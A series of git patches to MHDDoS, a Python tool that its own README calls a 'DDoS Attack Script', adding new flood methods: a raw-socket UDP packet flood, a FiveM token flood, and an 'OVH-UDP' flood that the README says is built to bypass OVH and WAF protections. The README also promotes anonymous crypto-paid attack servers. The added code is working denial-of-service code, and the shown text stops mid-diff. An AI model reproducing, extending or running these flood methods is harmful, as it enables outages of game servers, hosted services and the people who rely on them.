From d52ca3c604183a2f398bd5aca5a0b976bbd93685 Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Mon, 23 Jun 2025 14:54:05 -0300 Subject: [PATCH 01/15] =?UTF-8?q?Adiciona=20m=C3=A9todos=20DISCORD=20e=20F?= =?UTF-8?q?IVEM-TOKEN?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 + d | 196 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ start.py | 53 +++++++++++++-- 3 files changed, 246 insertions(+), 5 deletions(-) create mode 100644 d diff --git a/README.md b/README.md index 8a220a3..af45a39 100644 --- a/README.md +++ b/README.md @@ -55,6 +55,8 @@ * vse VSE | Send Valve Source Engine Protocol * teamspeak 3 TS3 | Send Teamspeak 3 Status Ping Protocol * fivem FIVEM | Send FiveM Status Ping Protocol + * fivem FIVEM-TOKEN | Send FiveM confirmation token flood + * udp DISCORD | Send RAW packet flood with custom payload * mem MEM | Memcached Amplification * ntp NTP | NTP Amplification * mcbot MCBOT | Minecraft Bot Attack diff --git a/d b/d new file mode 100644 index 0000000..e0895cd --- /dev/null +++ b/d @@ -0,0 +1,196 @@ +6d2a5b1 (HEAD -> main, origin/main, origin/HEAD) Update README.md +e2cd9bd Update LICENSE +860cfff Update README.md +bec61ab Update README.md +5c572a5 Update README.md +a297f78 Update README.md +dbce0a5 (tag: 2.4.2) Fix SyntaxWarning +74a6d0c Update README.md +82cc30c Update README.md +2226da7 Update README.md +4c5234a Update README.md +782b91e Update README.md +3dbc961 Delete .github/FUNDING.yml +ed3dd99 Update README.md +fdfd255 Update README.md +9b47e46 Update README.md +82b5835 Update README.md +30076a8 Update README.md +a723820 Update README.md +ba849b1 Update README.md +340c26c Update README.md +afc7705 Update README.md +d1fbd5b Update README.md +5c5b6ec Update README.md +f04dabc Update README.md +ac5ba1b Update start.py +8912d92 Update README.md +d39bd20 Update README.md +9a9a677 Update LICENSE +4d0435d Update README.md +be47bed Update requirements.txt +70c9414 Update README.md +5598a6a Update requirements.txt +391121c Update README.md +53769aa Update README.md +74f50a4 Update README.md +5827eaf Update start.py +6671497 Update README.md +1802a25 Update README.md +195eb6b Update README.md +b7a7beb Merge pull request #445 from darkanubis0100/main +2b70ac7 Update README.md +3f81221 Update requirements.txt +9db464c Update README.md +bb1d86c Update README.md +2871eae Merge pull request #421 from darkanubis0100/main +7b7d4aa Update requirements.txt +b74719b Update README.md +5ca9335 Update config.json +bf0fa2f Merge pull request #410 from b13ckjack/PPS-fixes +1a0dd17 Fixed PPS that was broken after last update and did general code cleanup in relation to this method +2247a4d better l4|7 select +8dd982d Merge pull request #406 from darkanubis0100/main +6abfb17 New installing method in readme.md & update of python modules +cc47967 Merge pull request #405 from ninjutsudev/main +9e76454 UserAgent Updated and Fixed +553153b Update start.py +d5e8759 Merge pull request #396 from ninjutsudev/main +80cf5f3 Updated python dependencies +81eb750 Merge branch 'MatrixTM:main' into main +f43d41b added telegram channel URL +6e6a6cd Merge branch 'MatrixTM:main' into main +97376ae Merge pull request #384 from cclauss/patch-1 +3c1f620 Fix typos discovered by codespell +9c531bc md5 < b64encode +01f6e60 Merge pull request #382 from cclauss/patch-1 +ce9bd40 Merge pull request #379 from hatm1998/patch-1 +3da51fb Upgrade GitHub Actions +b91a17b Update requirements.txt +a59ae2a Merge branch 'MatrixTM:main' into main +82e0ff4 Merge pull request #377 from Callumgm/main +0d007d0 Added loads more proxy providers updated daily +ea28d4f Merge branch 'MatrixTM:main' into main +1a0e4cb Merge pull request #368 from l7wei/main +8cbafee Update config.json +cfce018 Update config.json +66fb73a #361 +3271853 Merge branch 'MatrixTM:main' into main +2825dc3 Merge pull request #363 from Nexuzzzz/patch-1 +7bfd63f Add more tor2web gateways +10d18dd Merge pull request #358 from 01101sam/patch-1 +2078da8 Merge pull request #357 from cactig/main +fac7689 Make SYN more realistic +e1cac2f Remove dead/dupelicate sources + add sources +6191322 Merge branch 'MatrixTM:main' into main +4e92944 Merge pull request #354 from lidarbtc/main +f9a344f Update README.md +160618d Update README.md +6af28b8 Merge branch 'MatrixTM:main' into main +b833d2c Update README.md +7f6b2ce Update README.md +1fe10b7 Merge branch 'MatrixTM:main' into main +d28a172 added blank proxy file +bd78d61 Update mcbot +be36bec minecraft rand_char to rand_str +883a41e lol +dcb6a72 lol +0f50a07 lol +140b7bf Minecraft auto auth +17a5431 Minecraft multiversion support +afa132f Update config.json +5532d5e Fixed ICMP Bug +c938498 Added ICMP method, SYN method fixed +b150a08 Merge branch 'MatrixTM:main' into main +6e5ef49 Added 2 Methods (RHEX, STOMP) +c2e8eb5 (tag: 2.4) Update start.py +22e89cc Update README.md +dd05c3f added tor method +ce5c415 Update start.py +d4418c7 Update README.md +ef6b139 Merge branch 'MatrixTM:main' into main +d95c4f4 Update README.md +6d347e5 Update config.yml +c424caa Update LICENSE +b895f2b Update README.md +b889c81 lol +f742af1 Update start.py +9f3606c Update README.md +010fff7 Merge branch 'MatrixTM:main' into main +135c0b8 Update README.md +ee5407b Delete bandit.yml +ee402d5 Update start.py +fb1b825 update cloudscraper +eeef1a5 fixed __dir__ +358fd45 Update start.py +7f8c88c add MCBOT +c49caf4 Update bandit.yml +5d90d4c Update config.json +0fdd7d2 fixed json error +d2a37a2 Merge pull request #307 from cactig/main +d25100a Update config.json +c55717d fixed syn and amp methods +f22cb7a Delete _config.yml +b4f2c3a Update bug_report.yml +783749e Set theme jekyll-theme-slate +bffcde0 Update config.json +c8d2085 Update start.py +eeda7a8 Update start.py +fa64a66 Proxies Check Timeout Update +ef2497b Update start.py +798fa47 Update bandit.yml +8eb0794 Update start.py +4118e88 Update bandit.yml +608f5ba Update start.py +89d1453 Update start.py +e9ef87b lol +14da6ec Fixed DGB Method #2 +03bc95f Fixed DGB Method +53d574b Update README.md +2563ce0 Update bandit.yml +b22865f Merge pull request #294 from Narisoval/patch-1 +3201e86 Fixed grammar errors +2529a7e Update start.py +eee7d40 Update start.py +c71d7ae Update start.py +4406c8d Update start.py +84c3e7d Update start.py +38604f2 Update start.py +2bd71b0 Update start.py +355d872 Update start.py +82b632e Update start.py +56b9d54 Merge pull request #293 from OleksandrBlack/main +9fc3ea3 Added host and port to logger +4caa4bc Update config.json +9bf40f8 Update start.py +d58cc46 Update start.py +561e489 added many providers +4e4a8f0 Update start.py +fb3c585 Update README.md +857b2b8 Update README.md +0fe8d0d added killer method +dc3e841 Merge pull request #288 from dave9123/patch-1 +5ae42d0 Fixed form to from in line 981 +ee8dd0c Merge pull request #286 from MrBrain295/patch-2 +b888108 Create dependabot.yml +ee4f2a2 Merge pull request #284 from MrBrain295/patch-2 +b546789 Fix bandit +4a3f7ad Update start.py +3d38bb4 Merge pull request #274 from PXEiYyMH8F/patch-1 +631b436 Merge pull request #277 from MrBrain295/patch-2 +26cc579 Add Bandit security testing +c64fa1e Update feature_request.yml +adef7ca Update bug_report.yml +80ae8a9 Update start.py +afa3889 Merge pull request #273 from MHProDev/revert-270-main +22bee27 Revert "wrap all code into function" +a7df5d2 Merge pull request #270 from porthole-ascend-cinnamon/main +59f2b2a Merge pull request #271 from ukrarome/dns_payload +1703209 Fix DNS/CLDAP payload +50ced78 wrap all code into function +b17a1c1 Update config.json +d5595fd Merge pull request #268 from InvalidAccount69/main +4694843 Update start.py +4812bb2 Added Some proxies to config.json +251f672 Update README.md +eeeba9e Merge pull request #267 from Arman212 \ No newline at end of file diff --git a/start.py b/start.py index 4448ee0..fec7361 100644 --- a/start.py +++ b/start.py @@ -10,7 +10,7 @@ from multiprocessing import RawValue from os import urandom as randbytes from pathlib import Path from re import compile -from random import choice as randchoice +from random import choice as randchoice, randint from socket import (AF_INET, IP_HDRINCL, IPPROTO_IP, IPPROTO_TCP, IPPROTO_UDP, SOCK_DGRAM, IPPROTO_ICMP, SOCK_RAW, SOCK_STREAM, TCP_NODELAY, gethostbyname, gethostname, socket) @@ -127,8 +127,8 @@ class Methods: LAYER4_METHODS: Set[str] = {*LAYER4_AMP, "TCP", "UDP", "SYN", "VSE", "MINECRAFT", - "MCBOT", "CONNECTION", "CPS", "FIVEM", - "TS3", "MCPE", "ICMP" + "MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN", + "TS3", "MCPE", "ICMP", "DISCORD", } ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} @@ -400,6 +400,8 @@ class Layer4(Thread): "TS3": self.TS3, "MCPE": self.MCPE, "FIVEM": self.FIVEM, + "FIVEM-TOKEN": self.FIVEMTOKEN, + "DISCORD": self.DISCORD, "MINECRAFT": self.MINECRAFT, "CPS": self.CPS, "CONNECTION": self.CONNECTION, @@ -489,8 +491,7 @@ class Layer4(Thread): def AMP(self) -> None: s = None - with suppress(Exception), socket(AF_INET, SOCK_RAW, - IPPROTO_UDP) as s: + with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s: s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) while Tools.sendto(s, *next(self._amp_payloads)): continue @@ -528,6 +529,32 @@ class Layer4(Thread): continue Tools.safe_close(s) + def DISCORD(self) -> None: + payload = self._generate_discord() # pacote único bytes + with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s: + s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) + while Tools.sendto(s, payload, self._target): + continue + Tools.safe_close(s) + + def FIVEMTOKEN(self) -> None: + global BYTES_SEND, REQUESTS_SENT + + # Generete token and guid + token = str(uuid4()) + steamid_min = 76561197960265728 + steamid_max = 76561199999999999 + guid = str(randint(steamid_min, steamid_max)) + + # Build Payload + payload_str = f"token={token}&guid={guid}" + payload = payload_str.encode('utf-8') + + with socket(AF_INET, SOCK_DGRAM) as s: + while Tools.sendto(s, payload, self._target): + continue + Tools.safe_close(s) + def FIVEM(self) -> None: global BYTES_SEND, REQUESTS_SENT payload = b'\xff\xff\xff\xffgetinfo xxx\x00\x00\x00' @@ -555,6 +582,22 @@ class Layer4(Thread): continue Tools.safe_close(s) + def _generate_discord(self) -> bytes: + ip: IP = IP() + ip.set_ip_src(__ip__) + ip.set_ip_dst(self._target[0]) + + udp: UDP = UDP() + udp.set_uh_sport(ProxyTools.Random.rand_int(32768, 65535)) + udp.set_uh_dport(self._target[1]) + + payload_data = bytes([ProxyTools.Random.rand_int(0, 255) for _ in range(40)]) + + udp.contains(Data(payload_data)) + ip.contains(udp) + + return ip.get_packet() + def _genrate_syn(self) -> bytes: ip: IP = IP() ip.set_ip_src(__ip__) From e6fc6e6d26942d5dd8b54e6a6176f1de3a11f121 Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Mon, 23 Jun 2025 14:57:17 -0300 Subject: [PATCH 02/15] Update d --- d | 197 +------------------------------------------------------------- 1 file changed, 1 insertion(+), 196 deletions(-) diff --git a/d b/d index e0895cd..8b13789 100644 --- a/d +++ b/d @@ -1,196 +1 @@ -6d2a5b1 (HEAD -> main, origin/main, origin/HEAD) Update README.md -e2cd9bd Update LICENSE -860cfff Update README.md -bec61ab Update README.md -5c572a5 Update README.md -a297f78 Update README.md -dbce0a5 (tag: 2.4.2) Fix SyntaxWarning -74a6d0c Update README.md -82cc30c Update README.md -2226da7 Update README.md -4c5234a Update README.md -782b91e Update README.md -3dbc961 Delete .github/FUNDING.yml -ed3dd99 Update README.md -fdfd255 Update README.md -9b47e46 Update README.md -82b5835 Update README.md -30076a8 Update README.md -a723820 Update README.md -ba849b1 Update README.md -340c26c Update README.md -afc7705 Update README.md -d1fbd5b Update README.md -5c5b6ec Update README.md -f04dabc Update README.md -ac5ba1b Update start.py -8912d92 Update README.md -d39bd20 Update README.md -9a9a677 Update LICENSE -4d0435d Update README.md -be47bed Update requirements.txt -70c9414 Update README.md -5598a6a Update requirements.txt -391121c Update README.md -53769aa Update README.md -74f50a4 Update README.md -5827eaf Update start.py -6671497 Update README.md -1802a25 Update README.md -195eb6b Update README.md -b7a7beb Merge pull request #445 from darkanubis0100/main -2b70ac7 Update README.md -3f81221 Update requirements.txt -9db464c Update README.md -bb1d86c Update README.md -2871eae Merge pull request #421 from darkanubis0100/main -7b7d4aa Update requirements.txt -b74719b Update README.md -5ca9335 Update config.json -bf0fa2f Merge pull request #410 from b13ckjack/PPS-fixes -1a0dd17 Fixed PPS that was broken after last update and did general code cleanup in relation to this method -2247a4d better l4|7 select -8dd982d Merge pull request #406 from darkanubis0100/main -6abfb17 New installing method in readme.md & update of python modules -cc47967 Merge pull request #405 from ninjutsudev/main -9e76454 UserAgent Updated and Fixed -553153b Update start.py -d5e8759 Merge pull request #396 from ninjutsudev/main -80cf5f3 Updated python dependencies -81eb750 Merge branch 'MatrixTM:main' into main -f43d41b added telegram channel URL -6e6a6cd Merge branch 'MatrixTM:main' into main -97376ae Merge pull request #384 from cclauss/patch-1 -3c1f620 Fix typos discovered by codespell -9c531bc md5 < b64encode -01f6e60 Merge pull request #382 from cclauss/patch-1 -ce9bd40 Merge pull request #379 from hatm1998/patch-1 -3da51fb Upgrade GitHub Actions -b91a17b Update requirements.txt -a59ae2a Merge branch 'MatrixTM:main' into main -82e0ff4 Merge pull request #377 from Callumgm/main -0d007d0 Added loads more proxy providers updated daily -ea28d4f Merge branch 'MatrixTM:main' into main -1a0e4cb Merge pull request #368 from l7wei/main -8cbafee Update config.json -cfce018 Update config.json -66fb73a #361 -3271853 Merge branch 'MatrixTM:main' into main -2825dc3 Merge pull request #363 from Nexuzzzz/patch-1 -7bfd63f Add more tor2web gateways -10d18dd Merge pull request #358 from 01101sam/patch-1 -2078da8 Merge pull request #357 from cactig/main -fac7689 Make SYN more realistic -e1cac2f Remove dead/dupelicate sources + add sources -6191322 Merge branch 'MatrixTM:main' into main -4e92944 Merge pull request #354 from lidarbtc/main -f9a344f Update README.md -160618d Update README.md -6af28b8 Merge branch 'MatrixTM:main' into main -b833d2c Update README.md -7f6b2ce Update README.md -1fe10b7 Merge branch 'MatrixTM:main' into main -d28a172 added blank proxy file -bd78d61 Update mcbot -be36bec minecraft rand_char to rand_str -883a41e lol -dcb6a72 lol -0f50a07 lol -140b7bf Minecraft auto auth -17a5431 Minecraft multiversion support -afa132f Update config.json -5532d5e Fixed ICMP Bug -c938498 Added ICMP method, SYN method fixed -b150a08 Merge branch 'MatrixTM:main' into main -6e5ef49 Added 2 Methods (RHEX, STOMP) -c2e8eb5 (tag: 2.4) Update start.py -22e89cc Update README.md -dd05c3f added tor method -ce5c415 Update start.py -d4418c7 Update README.md -ef6b139 Merge branch 'MatrixTM:main' into main -d95c4f4 Update README.md -6d347e5 Update config.yml -c424caa Update LICENSE -b895f2b Update README.md -b889c81 lol -f742af1 Update start.py -9f3606c Update README.md -010fff7 Merge branch 'MatrixTM:main' into main -135c0b8 Update README.md -ee5407b Delete bandit.yml -ee402d5 Update start.py -fb1b825 update cloudscraper -eeef1a5 fixed __dir__ -358fd45 Update start.py -7f8c88c add MCBOT -c49caf4 Update bandit.yml -5d90d4c Update config.json -0fdd7d2 fixed json error -d2a37a2 Merge pull request #307 from cactig/main -d25100a Update config.json -c55717d fixed syn and amp methods -f22cb7a Delete _config.yml -b4f2c3a Update bug_report.yml -783749e Set theme jekyll-theme-slate -bffcde0 Update config.json -c8d2085 Update start.py -eeda7a8 Update start.py -fa64a66 Proxies Check Timeout Update -ef2497b Update start.py -798fa47 Update bandit.yml -8eb0794 Update start.py -4118e88 Update bandit.yml -608f5ba Update start.py -89d1453 Update start.py -e9ef87b lol -14da6ec Fixed DGB Method #2 -03bc95f Fixed DGB Method -53d574b Update README.md -2563ce0 Update bandit.yml -b22865f Merge pull request #294 from Narisoval/patch-1 -3201e86 Fixed grammar errors -2529a7e Update start.py -eee7d40 Update start.py -c71d7ae Update start.py -4406c8d Update start.py -84c3e7d Update start.py -38604f2 Update start.py -2bd71b0 Update start.py -355d872 Update start.py -82b632e Update start.py -56b9d54 Merge pull request #293 from OleksandrBlack/main -9fc3ea3 Added host and port to logger -4caa4bc Update config.json -9bf40f8 Update start.py -d58cc46 Update start.py -561e489 added many providers -4e4a8f0 Update start.py -fb3c585 Update README.md -857b2b8 Update README.md -0fe8d0d added killer method -dc3e841 Merge pull request #288 from dave9123/patch-1 -5ae42d0 Fixed form to from in line 981 -ee8dd0c Merge pull request #286 from MrBrain295/patch-2 -b888108 Create dependabot.yml -ee4f2a2 Merge pull request #284 from MrBrain295/patch-2 -b546789 Fix bandit -4a3f7ad Update start.py -3d38bb4 Merge pull request #274 from PXEiYyMH8F/patch-1 -631b436 Merge pull request #277 from MrBrain295/patch-2 -26cc579 Add Bandit security testing -c64fa1e Update feature_request.yml -adef7ca Update bug_report.yml -80ae8a9 Update start.py -afa3889 Merge pull request #273 from MHProDev/revert-270-main -22bee27 Revert "wrap all code into function" -a7df5d2 Merge pull request #270 from porthole-ascend-cinnamon/main -59f2b2a Merge pull request #271 from ukrarome/dns_payload -1703209 Fix DNS/CLDAP payload -50ced78 wrap all code into function -b17a1c1 Update config.json -d5595fd Merge pull request #268 from InvalidAccount69/main -4694843 Update start.py -4812bb2 Added Some proxies to config.json -251f672 Update README.md -eeeba9e Merge pull request #267 from Arman212 \ No newline at end of file + From 4f90366e61eb9d3a6335a168c6233ae3f02e3e95 Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Mon, 23 Jun 2025 14:57:33 -0300 Subject: [PATCH 03/15] Delete d --- d | 1 - 1 file changed, 1 deletion(-) delete mode 100644 d diff --git a/d b/d deleted file mode 100644 index 8b13789..0000000 --- a/d +++ /dev/null @@ -1 +0,0 @@ - From a02d1f06c7ccc2c3a03d65f58c9adb049b23595e Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Mon, 23 Jun 2025 15:06:45 -0300 Subject: [PATCH 04/15] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index af45a39..5a52cdc 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ * vse VSE | Send Valve Source Engine Protocol * teamspeak 3 TS3 | Send Teamspeak 3 Status Ping Protocol * fivem FIVEM | Send FiveM Status Ping Protocol - * fivem FIVEM-TOKEN | Send FiveM confirmation token flood + * fivem-token FIVEM-TOKEN | Send FiveM confirmation token flood * udp DISCORD | Send RAW packet flood with custom payload * mem MEM | Memcached Amplification * ntp NTP | NTP Amplification From c8c54d31b637663ea67417405ad1e66ab8402ace Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Mon, 23 Jun 2025 15:07:51 -0300 Subject: [PATCH 05/15] Update start.py --- start.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/start.py b/start.py index fec7361..79be4aa 100644 --- a/start.py +++ b/start.py @@ -586,16 +586,12 @@ class Layer4(Thread): ip: IP = IP() ip.set_ip_src(__ip__) ip.set_ip_dst(self._target[0]) - udp: UDP = UDP() udp.set_uh_sport(ProxyTools.Random.rand_int(32768, 65535)) udp.set_uh_dport(self._target[1]) - payload_data = bytes([ProxyTools.Random.rand_int(0, 255) for _ in range(40)]) - udp.contains(Data(payload_data)) ip.contains(udp) - return ip.get_packet() def _genrate_syn(self) -> bytes: From 55bd1fd9a89a905c2b567d6d420cba9a509fe49d Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Mon, 23 Jun 2025 15:08:53 -0300 Subject: [PATCH 06/15] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5a52cdc..ad60d81 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -

MHDDoS - DDoS Attack Script With 56 Methods

+

MHDDoS - DDoS Attack Script With 58 Methods

(Programming Language - Python 3)

From 3ae954112848d2a5b7b9de7057198db86420c864 Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Tue, 24 Jun 2025 18:43:38 -0300 Subject: [PATCH 07/15] Update README.md --- README.md | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) diff --git a/README.md b/README.md index ad60d81..f8c188b 100644 --- a/README.md +++ b/README.md @@ -1,19 +1,6 @@

MHDDoS - DDoS Attack Script With 58 Methods

-
(Programming Language - Python 3)
-

-MH-DDoS forks -MH-DDoS last commit (main) -MH-DDoS Repo stars -MH-DDoS License -MatrixTM issues - -

Please Don't Attack websites without the owner's consent.

- -

POWER

-

SCRIPT

- -## Features And Methods +### Features And Methods * 💣 Layer7 From 723c79b028b9725e414893b4d34c50bc67fd27c3 Mon Sep 17 00:00:00 2001 From: cirqueira <118860604+CirqueiraDev@users.noreply.github.com> Date: Wed, 25 Jun 2025 12:22:19 -0300 Subject: [PATCH 08/15] Update README.md --- README.md | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index f8c188b..ad60d81 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,19 @@

MHDDoS - DDoS Attack Script With 58 Methods

+
(Programming Language - Python 3)
-### Features And Methods +

+MH-DDoS forks +MH-DDoS last commit (main) +MH-DDoS Repo stars +MH-DDoS License +MatrixTM issues + +

Please Don't Attack websites without the owner's consent.

+ +

POWER

+

SCRIPT

+ +## Features And Methods * 💣 Layer7 From 33b8bfe64efd11dfbd819c6294bd075fdda778b4 Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 25 Jun 2025 12:38:30 -0300 Subject: [PATCH 09/15] =?UTF-8?q?Atualizei=20o=20README=20e=20removi=20o?= =?UTF-8?q?=20diret=C3=B3rio=20d?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index ad60d81..1faf687 100644 --- a/README.md +++ b/README.md @@ -149,4 +149,4 @@ apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pi aeza -#### You can buy an hourly 10Gbps server from [Aeza Hosting](https://aeza.net/?ref=375036) with crypto (100% anonymous). +#### You can buy an hourly 10Gbps server from [Aeza Hosting](https://aeza.net/?ref=375036) with crypto (100% anonymous). \ No newline at end of file From e9d0e8da68f2594741c447a4a7d5f6c6b86fdd77 Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 25 Jun 2025 13:13:28 -0300 Subject: [PATCH 10/15] Updated --- README.md | 2 +- start.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 1faf687..9f0d87f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -

MHDDoS - DDoS Attack Script With 58 Methods

+

MHDDoS - DDoS Attack Script With 57 Methods

(Programming Language - Python 3)

diff --git a/start.py b/start.py index 79be4aa..1bf7603 100644 --- a/start.py +++ b/start.py @@ -530,7 +530,7 @@ class Layer4(Thread): Tools.safe_close(s) def DISCORD(self) -> None: - payload = self._generate_discord() # pacote único bytes + payload = self._generate_discord() with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s: s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) while Tools.sendto(s, payload, self._target): From 608b38de683fde90db863e670712272c17a0cb76 Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 25 Jun 2025 13:51:31 -0300 Subject: [PATCH 11/15] Added OVH-UDP --- README.md | 3 ++- start.py | 47 ++++++++++++++++++++++++++++++++++++++++++++++- 2 files changed, 48 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 9f0d87f..036db34 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -

MHDDoS - DDoS Attack Script With 57 Methods

+

MHDDoS - DDoS Attack Script With 58 Methods

(Programming Language - Python 3)

@@ -49,6 +49,7 @@ * tcp TCP | TCP Flood Bypass * udp UDP | UDP Flood Bypass * syn SYN | SYN Flood + * ovh OVH-UDP | UDP flood with randomized HTTP-like headers and binary payloads to bypass OVH and WAF filters. * cps CPS | Open and close connections with proxy * icmp ICMP | Icmp echo request flood (Layer3) * connection CONNECTION | Open connection alive with proxy diff --git a/start.py b/start.py index 1bf7603..b72389c 100644 --- a/start.py +++ b/start.py @@ -128,7 +128,7 @@ class Methods: LAYER4_METHODS: Set[str] = {*LAYER4_AMP, "TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN", - "TS3", "MCPE", "ICMP", "DISCORD", + "TS3", "MCPE", "ICMP", "DISCORD", "OVH-UDP", } ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} @@ -401,6 +401,7 @@ class Layer4(Thread): "MCPE": self.MCPE, "FIVEM": self.FIVEM, "FIVEM-TOKEN": self.FIVEMTOKEN, + "OVH-UDP": self.OVHUDP, "DISCORD": self.DISCORD, "MINECRAFT": self.MINECRAFT, "CPS": self.CPS, @@ -472,6 +473,14 @@ class Layer4(Thread): continue Tools.safe_close(s) + def OVHUDP(self) -> None: + with socket(AF_INET, SOCK_RAW, IPPROTO_UDP) as s: + s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1) + while True: + for payload in self._generate_ovhudp(): + Tools.sendto(s, payload, self._target) + Tools.safe_close(s) + def ICMP(self) -> None: payload = self._genrate_icmp() s = None @@ -582,6 +591,42 @@ class Layer4(Thread): continue Tools.safe_close(s) + def _generate_ovhudp(self) -> List[bytes]: + packets = [] + + methods = ["PGET", "POST", "HEAD", "OPTIONS", "PURGE"] + paths = ['/0/0/0/0/0/0', '/0/0/0/0/0/0/', '\\0\\0\\0\\0\\0\\0', '\\0\\0\\0\\0\\0\\0\\', '/', '/null', '/%00%00%00%00'] + + for _ in range(randint(2, 4)): + ip = IP() + ip.set_ip_src(__ip__) + ip.set_ip_dst(self._target[0]) + + udp = UDP() + udp.set_uh_sport(randint(1024, 65535)) + udp.set_uh_dport(self._target[1]) + + payload_size = randint(1024, 2048) + random_part = randbytes(payload_size).decode("latin1", "ignore") + + method = randchoice(methods) + path = randchoice(paths) + + payload_str = ( + f"{method} {path}{random_part} HTTP/1.1\n" + f"Host: {self._target[0]}:{self._target[1]}\r\n\r\n" + ) + + payload = payload_str.encode("latin1", "ignore") + + udp.contains(Data(payload)) + ip.contains(udp) + + packets.append(ip.get_packet()) + + return packets + + def _generate_discord(self) -> bytes: ip: IP = IP() ip.set_ip_src(__ip__) From 0baaf4c432daf281336c71549a29b28b5952c56d Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 25 Jun 2025 13:52:56 -0300 Subject: [PATCH 12/15] Added OVH-UDP --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 036db34..dd2cd05 100644 --- a/README.md +++ b/README.md @@ -49,7 +49,7 @@ * tcp TCP | TCP Flood Bypass * udp UDP | UDP Flood Bypass * syn SYN | SYN Flood - * ovh OVH-UDP | UDP flood with randomized HTTP-like headers and binary payloads to bypass OVH and WAF filters. + * ovh OVH-UDP | UDP flood with random HTTP headers and binary payload to bypass OVH and WAFs. * cps CPS | Open and close connections with proxy * icmp ICMP | Icmp echo request flood (Layer3) * connection CONNECTION | Open connection alive with proxy From b09c193ff07a825dba400492a9e7d117825d00f8 Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 25 Jun 2025 14:10:46 -0300 Subject: [PATCH 13/15] Added OVH-UDP --- start.py | 1 - 1 file changed, 1 deletion(-) diff --git a/start.py b/start.py index b72389c..85d9ad1 100644 --- a/start.py +++ b/start.py @@ -626,7 +626,6 @@ class Layer4(Thread): return packets - def _generate_discord(self) -> bytes: ip: IP = IP() ip.set_ip_src(__ip__) From da88a2fd7a0fee93d1dda77ffbfcb7df22e9a444 Mon Sep 17 00:00:00 2001 From: CirqueiraDev Date: Wed, 22 Oct 2025 16:48:25 -0300 Subject: [PATCH 14/15] discord method removed --- README.md | 3 +-- start.py | 31 +++++-------------------------- 2 files changed, 6 insertions(+), 28 deletions(-) diff --git a/README.md b/README.md index dd2cd05..8b4a6f0 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -

MHDDoS - DDoS Attack Script With 58 Methods

+

MHDDoS - DDoS Attack Script With 57 Methods

(Programming Language - Python 3)

@@ -57,7 +57,6 @@ * teamspeak 3 TS3 | Send Teamspeak 3 Status Ping Protocol * fivem FIVEM | Send FiveM Status Ping Protocol * fivem-token FIVEM-TOKEN | Send FiveM confirmation token flood - * udp DISCORD | Send RAW packet flood with custom payload * mem MEM | Memcached Amplification * ntp NTP | NTP Amplification * mcbot MCBOT | Minecraft Bot Attack diff --git a/start.py b/start.py index 85d9ad1..d57e9cb 100644 --- a/start.py +++ b/start.py @@ -128,7 +128,7 @@ class Methods: LAYER4_METHODS: Set[str] = {*LAYER4_AMP, "TCP", "UDP", "SYN", "VSE", "MINECRAFT", "MCBOT", "CONNECTION", "CPS", "FIVEM", "FIVEM-TOKEN", - "TS3", "MCPE", "ICMP", "DISCORD", "OVH-UDP", + "TS3", "MCPE", "ICMP", "OVH-UDP", } ALL_METHODS: Set[str] = {*LAYER4_METHODS, *LAYER7_METHODS} @@ -402,7 +402,6 @@ class Layer4(Thread): "FIVEM": self.FIVEM, "FIVEM-TOKEN": self.FIVEMTOKEN, "OVH-UDP": self.OVHUDP, - "DISCORD": self.DISCORD, "MINECRAFT": self.MINECRAFT, "CPS": self.CPS, "CONNECTION": self.CONNECTION, @@ -538,14 +537,6 @@ class Layer4(Thread): continue Tools.safe_close(s) - def DISCORD(self) -> None: - payload = self._generate_discord() - with 